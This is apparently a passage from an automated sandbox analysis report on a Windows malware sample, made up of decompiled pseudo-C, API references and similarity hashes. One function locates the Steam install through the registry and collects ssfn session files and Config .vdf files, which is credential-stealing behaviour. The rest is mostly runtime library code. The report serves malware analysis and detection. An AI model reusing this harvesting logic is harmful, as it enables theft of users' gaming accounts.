				_t121 =  *((intOrPtr*)( *_t65))(E00403D98(_v612), _t159,  *[fs:eax], 0x414cfc, _t161, __edi, __esi, __ebx, _t123);
				do {
					_push(_v8);
					_push(E00414D58);
					E00403D6C( &_v624, 0x104, _t159 + 0x2c);
					_push(_v624);
					E00403E78();
					E0040377C( &_v616, _v620);
					_push(_v616);
					_push(_v12);
					_push(E00414D58);
					E00403D6C( &_v632, 0x104, _t159 + 0x2c);
					_push(_v632);
					E00403E78();
					_pop(_t143);
					E0040E79C(_v628, _t121, _t143, _t157, _t159);
					_t80 =  *((intOrPtr*)( *_t157))(_t121, _t159);
					_t165 = _t80;
				} while (_t80 != 0);
				_t81 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t81))(_t121);
				E00403E14( &_v636, L"\\Config\\*.vdf", _v12, _t165);
				_t88 = E0041B2D8; // 0x41c6b4
				_t122 =  *((intOrPtr*)( *_t88))(E00403D98(_v636), _t159);
				do {
					_push(_v8);
					_push(L"\\Config\\");
					E00403D6C( &_v648, 0x104, _t159 + 0x2c);
					_push(_v648);
					E00403E78();
					E0040377C( &_v640, _v644);
					_push(_v640);
					_push(_v12);
					_push(L"\\Config\\");
					E00403D6C( &_v656, 0x104, _t159 + 0x2c);
					_push(_v656);
					E00403E78();
					_pop(_t150);
					E0040E79C(_v652, _t122, _t150, _t157, _t159);
					_push(_t159);
					_push(_t122);
				} while ( *((intOrPtr*)( *_t157))() != 0);
				_t104 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t104))();
				_t151 = _t122;
				 *[fs:eax] = _t151;
				_push(E00414D03);
				E00403BF4( &_v656, 4);
				E004034E4( &_v640);
				E00403BF4( &_v636, 5);
				E004034E4( &_v616);
				E00403BF4( &_v612, 2);
				return E00403BF4( &_v12, 2);
			}

0x00414a90
0x00414a91
0x00414a93
0x00414a98
0x00414a98
0x00414a9a
0x00414a9c
0x00414a9c
0x00414aa3
0x00414aa9
0x00414aae
0x00414ab4
0x00414ac5
0x00414add
0x00414af6
0x00414b04
0x00414b18
0x00414b29
0x00414b32
0x00414b34
0x00414b34
0x00414b37
0x00414b4a
0x00414b4f
0x00414b60
0x00414b71
0x00414b7c
0x00414b7d
0x00414b80
0x00414b93
0x00414b98
0x00414ba9
0x00414bb4
0x00414bb5
0x00414bbe
0x00414bc0
0x00414bc0
0x00414bc9
0x00414bd0
0x00414be1
0x00414bf2
0x00414bfb
0x00414bfd
0x00414bfd
0x00414c00
0x00414c13
0x00414c18
0x00414c29
0x00414c3a
0x00414c45
0x00414c46
0x00414c49
0x00414c5c
0x00414c61
0x00414c72
0x00414c7d
0x00414c7e
0x00414c83
0x00414c84
0x00414c89
0x00414c92
0x00414c99
0x00414c9d
0x00414ca0
0x00414ca3
0x00414cb3
0x00414cbe
0x00414cce
0x00414cd9
0x00414ce9
0x00414cfb

Strings

\Config\*.vdf, xrefs: 00414BD9
SteamPath, xrefs: 00414ACE
\Config\, xrefs: 00414C00, 00414C49
Software\Valve\Steam, xrefs: 00414AD3
\ssfn*, xrefs: 00414B10

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: File$CopyDeleteE4513E465
String ID: Software\Valve\Steam$SteamPath$\Config\$\Config\*.vdf$\ssfn*
API String ID: 782476571-2133056588
Opcode ID: 255cc3f65ed84427dc8e01d7985dd8c40e055484a496d527b1616e2ad82b5aaf
Instruction ID: 57d99f7f1c40c8170767429780179a99fd00a587a6f3dab501ab3867d6466356
Opcode Fuzzy Hash: 255cc3f65ed84427dc8e01d7985dd8c40e055484a496d527b1616e2ad82b5aaf
Instruction Fuzzy Hash: 10511D746001199FDB10EB65CC85FDEBBBDEF88305F5081B6A508A7291DB38AF858F54

Uniqueness

Uniqueness Score: 100.00%

Function 00407964, Relevance: 6.2, APIs: 4, Instructions: 162
COMMON

C-Code - Quality: 41%

			E00407964(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed char* _t41;
				intOrPtr _t42;
				intOrPtr* _t64;
				intOrPtr _t69;
				signed int _t70;
				signed char _t72;
				signed char _t73;
				signed char* _t95;
				signed char _t100;
				signed char** _t102;
				signed char* _t105;
				void* _t106;

				_push(0xc);
				_push(0x416c90);
				E00405F60(__ebx, __edi, __esi);
				_t69 = 0;
				_t41 =  *(_t106 + 0x10);
				_t72 = _t41[4];
				if(_t72 == 0 ||  *((intOrPtr*)(_t72 + 8)) == 0) {
					L34:
					_t42 = 0;
				} else {
					_t100 = _t41[8];
					if(_t100 != 0 || ( *_t41 & 0x80000000) != 0) {
						_t73 =  *_t41;
						_t102 =  *(_t106 + 0xc);
						if(_t73 >= 0) {
							_t102 =  &(_t102[3]) + _t100;
						}
						 *((intOrPtr*)(_t106 - 4)) = _t69;
						_t105 =  *(_t106 + 0x14);
						if(_t73 >= 0 || ( *_t105 & 0x00000010) == 0) {
							L14:
							_push(1);
							_t16 =  *((intOrPtr*)(_t106 + 8)) + 0x18; // 0xfff5fae8
							_push( *_t16);
							if((_t73 & 0x00000008) == 0) {
								if(( *_t105 & 0x00000001) == 0) {
									if(_t105[0x18] != _t69) {
										if(E0040B446() == 0) {
											goto L32;
										} else {
											_push(1);
											if(E0040B455(_t102) == 0 || E0040B437(_t105[0x18]) == 0) {
												goto L32;
											} else {
												_t70 = 0;
												_t69 = (_t70 & 0xffffff00 | ( *_t105 & 0x00000004) != 0x00000000) + 1;
												 *((intOrPtr*)(_t106 - 0x1c)) = _t69;
											}
										}
									} else {
										if(E0040B446() == 0) {
											goto L32;
										} else {
											_push(1);
											if(E0040B455(_t102) == 0) {
												goto L32;
											} else {
												_t32 =  *((intOrPtr*)(_t106 + 8)) + 0x18; // 0xfff5fae8
												E00404490(_t102, E004078B1( *_t32,  &(_t105[8])), _t105[0x14]);
											}
										}
									}
								} else {
									if(E0040B446() == 0) {
										goto L32;
									} else {
										_push(1);
										if(E0040B455(_t102) == 0) {
											goto L32;
										} else {
											_t25 =  *((intOrPtr*)(_t106 + 8)) + 0x18; // 0xfff5fae8
											E00404490(_t102,  *_t25, _t105[0x14]);
											if(_t105[0x14] == 4 &&  *_t102 != 0) {
												_push( &(_t105[8]));
												_push( *_t102);
												goto L13;
											}
										}
									}
								}
							} else {
								if(E0040B446() == 0) {
									goto L32;
								} else {
									_push(1);
									if(E0040B455(_t102) == 0) {
										goto L32;
									} else {
										_t20 =  *((intOrPtr*)(_t106 + 8)) + 0x18; // 0xfff5fae8
										_t95 =  *_t20;
										goto L12;
									}
								}
							}
						} else {
							_t64 =  *0x42af64; // 0x0
							if(_t64 == 0) {
								goto L14;
							} else {
								 *(_t106 + 0x10) =  *_t64();
								_push(1);
								if(E0040B446(_t65) == 0) {
									L32:
									E00406F3C();
								} else {
									_push(1);
									if(E0040B455(_t102) == 0) {
										goto L32;
									} else {
										_t95 =  *(_t106 + 0x10);
										L12:
										 *_t102 = _t95;
										_push( &(_t105[8]));
										_push(_t95);
										L13:
										 *_t102 = E004078B1();
									}
								}
							}
						}
						 *((intOrPtr*)(_t106 - 4)) = 0xfffffffe;
						_t42 = _t69;
					} else {
						goto L34;
					}
				}
				return E00405FA5(_t42);
			}

0x00407964
0x00407966
0x0040796b
0x00407970
0x00407972
0x00407975
0x0040797a
0x00407b1e
0x00407b1e
0x00407989
0x00407989
0x0040798e
0x0040799c
0x0040799e
0x004079a3
0x004079a8
0x004079a8
0x004079aa
0x004079ad
0x004079b2
0x00407a03
0x00407a03
0x00407a08
0x00407a08
0x00407a0e
0x00407a3c
0x00407a92
0x00407ad6
0x00000000
0x00407ad8
0x00407ad8
0x00407ae4
0x00000000
0x00407af3
0x00407af8
0x00407afc
0x00407afd
0x00407afd
0x00407ae4
0x00407a94
0x00407a9d
0x00000000
0x00407a9f
0x00407a9f
0x00407aab
0x00000000
0x00407aad
0x00407ab7
0x00407ac3
0x00407ac8
0x00407aab
0x00407a9d
0x00407a3e
0x00407a47
0x00000000
0x00407a4d
0x00407a4d
0x00407a59
0x00000000
0x00407a5f
0x00407a65
0x00407a69
0x00407a75
0x00407a87
0x00407a88
0x00000000
0x00407a88
0x00407a75
0x00407a59
0x00407a47
0x00407a10
0x00407a19
0x00000000
0x00407a1f
0x00407a1f
0x00407a2b
0x00000000
0x00407a31
0x00407a34
0x00407a34
0x00000000
0x00407a34
0x00407a2b
0x00407a19
0x004079b9
0x004079b9
0x004079c0
0x00000000
0x004079c2
0x004079c4
0x004079c7
0x004079d3
0x00407b02
0x00407b02
0x004079d9
0x004079d9
0x004079e5
0x00000000
0x004079eb
0x004079eb
0x004079ee
0x004079ee
0x004079f3
0x004079f4
0x004079f5
0x004079fc
0x004079fc
0x004079e5
0x004079d3
0x004079c0
0x00407b07
0x00407b0e
0x00000000
0x00000000
0x00000000
0x0040798e
0x00407b25

APIs

___AdjustPointer.LIBCMT ref: 004079F5
_memmove.LIBCMT ref: 00407A69
___AdjustPointer.LIBCMT ref: 00407ABA
_memmove.LIBCMT ref: 00407AC3

Part of subcall function 00406F3C: DecodePointer.KERNEL32(00416B88,00000008,004073AB,19930522,00000000,E06D7363), ref: 00406F4E
Part of subcall function 00406F3C: _abort.LIBCMT ref: 00406FA2

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: Pointer$Adjust_memmove$Decode_abort
String ID:
API String ID: 2548488491-0
Opcode ID: 53eeb47c65691a7519dcb48bfc2bfd3165b962b3ac4cc4924cae139c72d0bb8a
Instruction ID: 42563dba13b3c522a72bd3ac8556e118d1efeba6ba7ca845e698946cfad641b8
Opcode Fuzzy Hash: 53eeb47c65691a7519dcb48bfc2bfd3165b962b3ac4cc4924cae139c72d0bb8a
Instruction Fuzzy Hash: 7A419771A087025AEB259E15D882B6773B4EF41718F24403FF844A62D2EB3DF941D69E

Uniqueness

Uniqueness Score: 12.89%

Function 0041011F, Relevance: 6.1, APIs: 4, Instructions: 97
COMMON

C-Code - Quality: 100%

			E0041011F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				int _v20;
				int _t35;
				int _t38;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E00407E9D( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E0040CF88( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t59 = 1;
							__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							if(__eflags != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E00409F2B(__eflags);
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							__eflags = _t50 -  *(_t59 + 0x74);
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(__eflags == 0) {
								goto L20;
							}
							L18:
							_t59 =  *(_t59 + 0x74);
							goto L21;
						}
						__eflags = _t50 -  *(_t59 + 0x74);
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t47 = MultiByteToWideChar( *(_t59 + 4), 9, _t62,  *(_t59 + 0x74), _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

0x00410127
0x0041012c
0x00410146
0x00000000
0x00410146
0x0041012e
0x00410133
0x00000000
0x00000000
0x00410138
0x00410155
0x0041015a
0x0041015d
0x00410164
0x00410183
0x0041018a
0x0041018c
0x004101d0
0x004101df
0x004101ed
0x004101ef
0x004101ff
0x004101ff
0x00410203
0x00410205
0x00410208
0x00410208
0x00410208
0x00410208
0x00000000
0x0041020e
0x004101f1
0x004101f1
0x004101f6
0x004101f6
0x004101f9
0x00000000
0x004101f9
0x0041018e
0x00410191
0x00410195
0x004101be
0x004101be
0x004101c1
0x004101c1
0x00000000
0x00000000
0x004101c3
0x004101c7
0x00000000
0x00000000
0x004101c9
0x004101c9
0x00000000
0x004101c9
0x00410197
0x0041019a
0x00000000
0x00000000
0x0041019e
0x004101b1
0x004101b7
0x004101ba
0x004101bc
0x00000000
0x00000000
0x00000000
0x004101bc
0x00410166
0x00410169
0x0041016b
0x00410170
0x00410170
0x00410175
0x00000000
0x00410175
0x0041013a
0x0041013f
0x00410143
0x00410143
0x00000000

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00410155
__isleadbyte_l.LIBCMT ref: 00410183

Part of subcall function 0040CF88: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040CF94

MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,?,00000000), ref: 004101B1
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,?,00000000), ref: 004101E7

Part of subcall function 00409F2B: __getptd_noexit.LIBCMT ref: 00409F2B

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: Locale$ByteCharMultiUpdateUpdate::_Wide$__getptd_noexit__isleadbyte_l
String ID:
API String ID: 3164516598-0
Opcode ID: 0be9f7fd2782ff9899679b715e6d146d645b2988ea34b7823365f5f266679b31
Instruction ID: 14f35da2173390da2c766a752aafecba565d70b409f368cc350ce356e25e9a07
Opcode Fuzzy Hash: 0be9f7fd2782ff9899679b715e6d146d645b2988ea34b7823365f5f266679b31
Instruction Fuzzy Hash: 8031CF30A00246BFDB218F25CC44BEB7BA5BF41310F15452AE824872A0E7BAD8D1DB98

Uniqueness

Uniqueness Score: 2.48%

Function 004072A8, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

C-Code - Quality: 20%

			E004072A8(void* __ebx, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __ebp;
				void* _t25;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				intOrPtr* _t31;
				void* _t33;

				_t30 = __esi;
				_t27 = __ebx;
				_t35 = _a28;
				_t29 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t29);
					_push(_a4);
					E004078D6(__ebx, _t29, __esi, _t35);
					_t33 = _t33 + 0x10;
				}
				_t36 = _a40;
				_push(_a4);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t29);
				}
				E00404E5C(_t28);
				_push(_t30);
				_t31 = _a32;
				_push( *_t31);
				_push(_a20);
				_push(_a16);
				_push(_t29);
				E00407B74(_t27, _t31, _t36);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t29 + 8)) =  *((intOrPtr*)(_t31 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t29);
				_push(_a4);
				_t25 = E004070A2(_t27, _t29, _t31, _t36);
				if(_t25 != 0) {
					E00404E2A(_t25, _t29);
					return _t25;
				}
				return _t25;
			}

0x004072a8
0x004072a8
0x004072ab
0x004072b0
0x004072b3
0x004072b5
0x004072b8
0x004072bb
0x004072bc
0x004072bf
0x004072c4
0x004072c4
0x004072c7
0x004072cb
0x004072ce
0x004072d3
0x004072d0
0x004072d0
0x004072d0
0x004072d6
0x004072db
0x004072dc
0x004072df
0x004072e1
0x004072e4
0x004072e7
0x004072e8
0x004072f1
0x004072f6
0x004072f9
0x004072ff
0x00407302
0x00407305
0x00407308
0x00407309
0x0040730c
0x00407317
0x0040731b
0x00000000
0x0040731b
0x00407322

APIs

___BuildCatchObject.LIBCMT ref: 004072BF

Part of subcall function 004078D6: ___AdjustPointer.LIBCMT ref: 0040791F
Part of subcall function 004078D6: ___AdjustPointer.LIBCMT ref: 00407939

_UnwindNestedFrames.LIBCMT ref: 004072D6

Part of subcall function 00404E5C: RtlUnwind.KERNEL32(00000000,00404E86,19930522,00000000,?,?,00000000,?,?,?,004076F3,?,?,00416CAC,?,19930522), ref: 00404E80

___FrameUnwindToState.LIBCMT ref: 004072E8
CallCatchBlock.LIBCMT ref: 0040730C

Part of subcall function 004070A2: __CreateFrameInfo.LIBCMT ref: 004070CC
Part of subcall function 004070A2: _CallCatchBlock2.LIBCMT ref: 00407124

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: CatchUnwind$AdjustCallFramePointer$BlockBlock2BuildCreateFramesInfoNestedObjectState
String ID:
API String ID: 1213799502-0
Opcode ID: 02302ff8862e25695c2afa1ca1c691966ce33dc0e8fa260f084d156cb496b043
Instruction ID: bf87b4b647c5709b1a47a7e7567c5966a78af851fcc558bd6d80dab249d95b1d
Opcode Fuzzy Hash: 02302ff8862e25695c2afa1ca1c691966ce33dc0e8fa260f084d156cb496b043
Instruction Fuzzy Hash: 9D011B32404108BBCF126F55CC01EDB3BB6FF48754F15812AFA18751A1D339E861DB95

Uniqueness

Uniqueness Score: 6.84%

Function 00407F46, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

C-Code - Quality: 100%

			E00407F46(void* __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00408497(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00407FCC(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00408712(__edx, __esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00408651(__edx, __esi, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00407f49
0x00407f4f
0x00407fc2
0x00000000
0x00407f56
0x00407f56
0x00407f59
0x00407f74
0x00407f77
0x00407f97
0x00407fa9
0x00407f79
0x00407f79
0x00407f7c
0x00000000
0x00407f7e
0x00407f90
0x00407f90
0x00407f7c
0x00407fc7
0x00407fcb
0x00407f5b
0x00407f73
0x00407f73
0x00407f59

APIs

__cftof_l.LIBCMT ref: 00407F6A

Part of subcall function 00408651: __fltout2.LIBCMT ref: 0040867A
Part of subcall function 00408651: __fptostr.LIBCMT ref: 004086DC
Part of subcall function 00408651: __cftof2_l.LIBCMT ref: 004086F9

__cftog_l.LIBCMT ref: 00407F90

Part of subcall function 00408712: __fltout2.LIBCMT ref: 0040873B
Part of subcall function 00408712: __fptostr.LIBCMT ref: 0040879C
Part of subcall function 00408712: __cftof2_l.LIBCMT ref: 004087DD
Part of subcall function 00408712: __cftoe2_l.LIBCMT ref: 004087F8

__cftoa_l.LIBCMT ref: 00407FA9

Part of subcall function 00407FCC: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00407FEC
Part of subcall function 00407FCC: _mbstowcs_s.LIBCMT ref: 00408063
Part of subcall function 00407FCC: _strrchr.LIBCMT ref: 0040809E
Part of subcall function 00407FCC: _memset.LIBCMT ref: 00408235
Part of subcall function 00407FCC: __alldvrm.LIBCMT ref: 004082B0
Part of subcall function 00407FCC: __alldvrm.LIBCMT ref: 004082D3
Part of subcall function 00407FCC: __alldvrm.LIBCMT ref: 004082F6

__cftoe_l.LIBCMT ref: 00407FC2

Part of subcall function 00408497: __fltout2.LIBCMT ref: 004084C4
Part of subcall function 00408497: __fptostr.LIBCMT ref: 0040852C
Part of subcall function 00408497: __cftoe2_l.LIBCMT ref: 0040854C

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: __alldvrm__fltout2__fptostr$Locale__cftoe2_l__cftof2_l$UpdateUpdate::___cftoa_l__cftoe_l__cftof_l__cftog_l_mbstowcs_s_memset_strrchr
String ID:
API String ID: 621885885-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 6b6ec35c2db36f64b1d76f170ade3b8c413fbc7e967a217e2c467e2a9396819e
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 0301833241414ABBCF126E84CC01CEE3F22BB18354F55842AFA5868171D73AD971AB96

Uniqueness

Uniqueness Score: 3.53%

Function 004013EC, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 45
memoryUNIQUE

C-Code - Quality: 100%

			E004013EC(void* __eax, void** __ecx, void* __edx) {
				void* _t4;
				void** _t9;
				void* _t13;
				void* _t14;
				long _t16;
				void* _t17;

				_t9 = __ecx;
				_t14 = __edx;
				_t17 = __eax;
				 *(__ecx + 4) = 0x100000;
				_t4 = VirtualAlloc(__eax, 0x100000, 0x2000, 4);
				_t13 = _t4;
				 *_t9 = _t13;
				if(_t13 == 0) {
					_t16 = _t14 + 0x0000ffff & 0xffff0000;
					_t9[1] = _t16;
					_t4 = VirtualAlloc(_t17, _t16, 0x2000, 4);
					 *_t9 = _t4;
				}
				if( *_t9 != 0) {
					_t4 = E0040123C(0x41c5d4, _t9);
					if(_t4 == 0) {
						VirtualFree( *_t9, 0, 0x8000);
						 *_t9 = 0;
						return 0;
					}
				}
				return _t4;
			}

0x004013f0
0x004013f2
0x004013f4
0x004013f6
0x0040140a
0x0040140f
0x00401411
0x00401415
0x0040141d
0x00401423
0x0040142f
0x00401434
0x00401434
0x00401439
0x00401442
0x00401449
0x00401455
0x0040145c
0x00000000
0x0040145c
0x00401449
0x00401462

APIs

VirtualAlloc.KERNEL32(?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 0040140A
VirtualAlloc.KERNEL32(?,?,00002000,00000004,?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 0040142F
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 00401455

Strings

\z0, xrefs: 0040143D

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID: \z0
API String ID: 3668210933-1777250070
Opcode ID: e3426b4ae3b4f347534d8af8a48f192b6cc6a22a36cb8f8ee6ee8142babbe4a8
Instruction ID: 45c7259c7c7f7a53f47d7ebf7c15b413a2e3392a3d77efebc7c94e45ea16ea77
Opcode Fuzzy Hash: e3426b4ae3b4f347534d8af8a48f192b6cc6a22a36cb8f8ee6ee8142babbe4a8
Instruction Fuzzy Hash: 93F0C8B17403206ADB319A294C85F537AD49B4A764F144176BB08FF3DAD675580086AC

Uniqueness

Uniqueness Score: 100.00%

Function 004011E4, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 34
memoryUNIQUE

C-Code - Quality: 100%

			E004011E4() {
				intOrPtr* _t4;
				intOrPtr _t6;
				intOrPtr* _t9;
				intOrPtr* _t12;
				void* _t14;

				if( *0x41c5d0 != 0) {
					L5:
					_t4 =  *0x41c5d0;
					 *0x41c5d0 =  *_t4;
					return _t4;
				} else {
					_t12 = LocalAlloc(0, 0x644);
					if(_t12 != 0) {
						_t6 =  *0x41c5cc; // 0x307428
						 *_t12 = _t6;
						 *0x41c5cc = _t12;
						_t14 = 0;
						do {
							_t2 = (_t14 + _t14) * 8; // 0x4
							_t9 = _t12 + _t2 + 4;
							 *_t9 =  *0x41c5d0;
							 *0x41c5d0 = _t9;
							_t14 = _t14 + 1;
						} while (_t14 != 0x64);
						goto L5;
					} else {
						return 0;
					}
				}
			}

0x004011ee
0x0040122a
0x0040122a
0x0040122e
0x00401232
0x004011f0
0x004011fc
0x00401200
0x00401207
0x0040120c
0x0040120e
0x00401214
0x00401216
0x0040121a
0x0040121a
0x00401220
0x00401222
0x00401224
0x00401225
0x00000000
0x00401202
0x00401206
0x00401206
0x00401200

APIs

LocalAlloc.KERNEL32(00000000,00000644,?,\z0,00401247,?,?,00401447,?,00100000,00002000,00000004,0041C5E4,?,?), ref: 004011F7

Strings

\z0, xrefs: 004011E4
y0, xrefs: 004011E6
(t0, xrefs: 00401207, 0040120E

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AllocLocal
String ID: (t0$\z0$y0
API String ID: 3494564517-3355885821
Opcode ID: 9ef3a975bdba565b5204a8a67001ff5e5cb4e63017e269d24281de8950cd108e
Instruction ID: 1b97f869ca2ef78b7edf313f24570502d3759f43221a4d236e640dffafdc993f
Opcode Fuzzy Hash: 9ef3a975bdba565b5204a8a67001ff5e5cb4e63017e269d24281de8950cd108e
Instruction Fuzzy Hash: 5FF05E727402119FD714CF69D8806A577E6EBAD315F20847ED185E77A0E635AC418B48

Uniqueness

Uniqueness Score: 100.00%

Function 0040EDA8, Relevance: 5.4, Strings: 4, Instructions: 371
UNIQUE

C-Code - Quality: 55%

			E0040EDA8(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				void* _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v360;
				char _v364;
				char _v368;
				char _v372;
				char _v376;
				char _v380;
				char _v384;
				char _v388;
				intOrPtr* _t115;
				intOrPtr* _t133;
				intOrPtr* _t147;
				void* _t149;
				intOrPtr* _t155;
				intOrPtr* _t183;
				intOrPtr* _t187;
				void* _t189;
				intOrPtr* _t191;
				intOrPtr* _t195;
				intOrPtr* _t199;
				void* _t201;
				intOrPtr* _t207;
				intOrPtr* _t211;
				void* _t213;
				intOrPtr* _t216;
				void* _t218;
				void* _t222;
				void* _t224;
				void* _t226;
				intOrPtr* _t228;
				void* _t230;
				void* _t236;
				intOrPtr* _t238;
				intOrPtr* _t244;
				intOrPtr* _t254;
				intOrPtr* _t260;
				void* _t262;
				void* _t268;
				intOrPtr* _t297;
				intOrPtr* _t301;
				void* _t306;
				intOrPtr _t331;
				intOrPtr _t333;
				void* _t337;
				intOrPtr _t361;
				intOrPtr _t365;
				intOrPtr _t366;
				void* _t367;
				void* _t368;
				void* _t371;
				void* _t373;

				_t363 = __esi;
				_t362 = __edi;
				_t304 = __ebx;
				_t365 = _t366;
				_t306 = 0x30;
				do {
					_push(0);
					_push(0);
					_t306 = _t306 - 1;
					_t375 = _t306;
				} while (_t306 != 0);
				_v12 = __edx;
